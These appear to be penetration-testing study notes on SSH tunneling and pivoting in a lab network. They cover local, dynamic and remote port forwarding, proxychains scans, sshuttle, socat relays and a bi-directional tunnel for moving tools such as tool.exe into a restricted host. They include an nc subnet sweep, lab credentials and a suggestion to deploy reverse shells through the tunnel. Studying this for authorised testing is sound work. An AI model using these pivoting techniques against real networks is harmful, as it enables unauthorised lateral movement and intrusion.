SSH Tunneling
19.2.1 - Local SSH Tunneling
It forwards a local port on your machine to a remote server, allowing access to a service running on the remote host through a local port.
A useful bash program for scanning for connections on the same subnet
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
Create an SSH connection with local port forwarding using the -L argument
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215
Verify a process is working
ss -ntplu
List available shares on Kali with smbclient, using -L to list the shares
smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234
19.2.2 - SSH Dynamic Port Forwarding
It sets up a local SOCKS proxy, allowing you to route traffic through the SSH connection to any remote destination, which can be useful for anonymizing or accessing blocked resources. With this PF type, nmap scanning becomes possible.
Dynamic port forward with ssh using -D. -N will prevent a shell from being spawned on ssh.
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
Proxychains is a tool that can force network traffic from third party tools over HTTP or SOCKS proxies. Proxychains uses a configuration file for almost everything, stored by default at /etc/proxychains4.conf.
tail /etc/proxychains4.conf
Next, we can simply prepend proxychains to the command. Proxychains will read the configuration file, hook into the smbclient process, and force all traffic through the SOCKS proxy we specified.
proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
We can run nmap through proxychains, nmap does have built in proxies option but it's still in development.
proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217
19.2.3 - SSH Remote Port Forwarding
It forwards a port from a remote server to your local machine, enabling access to a service running on your local machine from the remote server. Useful if inbound connections have been blocked by the firewall.
Make sure ssh is started
sudo systemctl start ssh
Check the ssh port is open as expected
sudo ss -ntplu
Listen on port 2345 on Kali and forward all traffic to the target on port 5432
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
This should allow for connection to the targets psql instance on localhost:2345
psql -h 127.0.0.1 -p 2345 -U postgres
19.2.4 - SSH Remote Dynamic Port Forwarding
Similar to dynamic port forwarding but on the remote side, it allows you to create a SOCKS proxy on the remote server, so the remote server routes traffic back to your local machine.
We can specify -R to run with the remote dynamic port forwarding option
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 kali@192.168.118.4
Port 9998 should be bound on our Kali machine
sudo ss -ntplu
We can also set this up with proxychains by adding socks5 127.0.0.1 9998
tail /etc/proxychains4.conf
Then run proxychains as we did before
proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64
19.2.5 - Using sshuttle
sshuttle is a tool that turns an SSH connection into something like a VPN by setting up local routes that force traffic through the SSH tunnel. However, it requires root privileges on the SSH client and Python3 on the SSH server, so it's not always the most lightweight option.
We can set up a port forward on a shell on our target
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
Then we run sshuttle, specifying the SSH connection string we want to use as well as subnets we want to tunnel through the connection
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
We can now connect to SMB shares in a new terminal
smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
19.2.6 - Bi-Directional SSH
In this example we are 192.168.45.191 attacking an AD exploit chain with internal/private IPs. We are able to get sql_service creds on MS01 which can be used to login into MS02, once we login we cannot download any files or do any rce's so we have to setup a bi-directional ssh tunnel.
However, once inside MS02, we discover a major constraint:
- We cannot download files (no outbound internet or no tools available)
- We cannot run RCEs, or perhaps PowerShell and cmd are restricted
To proceed, we need a way to:
- Move tools into MS02
- Get shells or run commands from MS02 and retrieve results
The solution is to create a bi-directional SSH tunnel between our attack box and MS02, so we can forward traffic both ways and simulate an internal pivot.
Forward Kali's port 8888 to MS02's port 22
ssh -L 8888:localhost:22 sql_service@10.0.0.12
You can now SSH back into MS02 via your own tunnel:
ssh -p 8888 sql_service@localhost
If you want MS02 to reach services on your Kali box (e.g., for file transfer, reverse shells), you reverse the direction. This allows MS02 to connect to Kali via the tunnel on port 4444.
ssh -R 4444:localhost:4444 sql_service@10.0.0.12
Transfer the files through the tunnel (if needed). From MS02 (via SSH), downloaded a file from Kali.
scp -P 4444 kaliuser@localhost:/path/to/tool.exe .
Or set up an HTTP server on Kali:
python3 -m http.server 4444
Then from MS02
Invoke-WebRequest -Uri http://localhost:4444/tool.exe -OutFile tool.exe
Run Commands / Get Shells - If you can't do RCE directly, consider:
- Using the tunnel to expose internal services to Kali (e.g., WinRM, MSSQL)
- Deploying a reverse shell through the tunnel
- Using
socat,plink, orncatto build a more stable tunnel or port relay
We can also use -N and -f to background an SSH tunnel. This ensures SSH is allowed through a firewall or isn't restricted via the GPO.
ssh -N -f -L 8888:localhost:22 sql_service@10.0.0.12